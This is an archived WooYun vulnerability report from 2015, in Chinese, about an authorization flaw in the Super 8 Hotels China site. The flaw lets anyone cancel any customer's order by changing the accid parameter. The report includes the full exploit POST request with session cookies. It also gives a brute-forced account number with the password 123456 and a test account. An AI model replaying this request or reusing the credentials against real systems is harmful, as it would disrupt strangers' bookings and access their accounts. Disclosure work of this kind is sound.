乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-11: 细节已通知厂商并且等待厂商处理中 2015-02-16: 厂商已经主动忽略漏洞,细节向公众公开
速8酒店设计缺陷全国任意订单取消漏洞
99%都做了 却错在最后一步 前面都有鉴权订单是不是属于当前用户的,却在最后一步选择取消原因之后数据库操作取消订单时没有判断订单是否属于当前用户另外账号在一定程度上也是可以爆破的305692193 爆破获得的账号 :弱口令 123456测试账号:305692221 123456
POST /Mem/DeleteOrder.aspx?accid=31391604 HTTP/1.1Host: www.super8.com.cnProxy-Connection: keep-aliveContent-Length: 734Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.super8.com.cnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36Content-Type: application/x-www-form-urlencodedDNT: 1Referer: http://www.super8.com.cn/Mem/DeleteOrder.aspx?accid=31391604Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: __ag_cm_=1423622105528; ASP.NET_SessionId=5e5ypnzeutwj2uygjvqxufve; __qc_wId=138; pgv_pvid=9468599688; _gat=1; __qc__k=; __ozlvd1031=1423623805; _ga=GA1.3.39541148.1423622105; Hm_lvt_5ea893975c140fb2300e807a3da2b058=1423622105; Hm_lpvt_5ea893975c140fb2300e807a3da2b058=1423623806; ag_fid=rwhikISX7yjQ9JIFAlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3__VIEWSTATE=%2FwEPDwUJNjMyNzQ1MjU0D2QWBAIDD2QWBgIBDxYCHgVzdHlsZQUIZGlzcGxheTpkAgIPFgIfAAUMZGlzcGxheTpub25lZAIEDw8WAh4EVGV4dAUBMGRkAgcPZBYCZg8WAh4LXyFJdGVtQ291bnQCBhYMZg9kFgJmDxUCAzEyNgzkvJrlkZjmiYvlhoxkAgEPZBYCZg8VAgMxMjUM5Lya5ZGY5YWs5ZGKZAICD2QWAmYPFQICMzEM5Lya5ZGY5rS75YqoZAIDD2QWAmYPFQIDMjExEuS8muWRmOeCueivhOinhOWImWQCBA9kFgJmDxUCAjExGemAnzjku6Pph5HliLjkvb%2FnlKjop4TliJlkAgUPZBYCZg8VAgIxMB%2FpgJ845YWN6LS55L2P5a6%2F5L%2Bh5L2%2F55So6KeE5YiZZGR4jNPdiF4d9abvTTxpH3%2FfWMpnwA%3D%3D&__VIEWSTATEGENERATOR=29D1FDD0&__EVENTVALIDATION=%2FwEWEAK1l6DlDwLKt8bFAwLLt8bFAwLIt8bFAwLJt8bFAwLOt8bFAwLPt8bFAwLMt8bFAwLdt8bFAwLSt8bFAwLKt4bGAwLKt4rGAwLKt47GAwLF2OyrDwLdkpmPAQK%2BrvNOj4OHmmrx8cXNZVcIqmNwBqGN2SU%3D&rblCancel=1&btnOK=%E7%A1%AE%E5%AE%9A
在取消订单的最后一步修改accid参数为任意想要取消的订单ID 当然 也可以进行遍历 批量恶意取消他人订单
危害等级:无影响厂商忽略
忽略时间:2015-02-16 11:22
暂无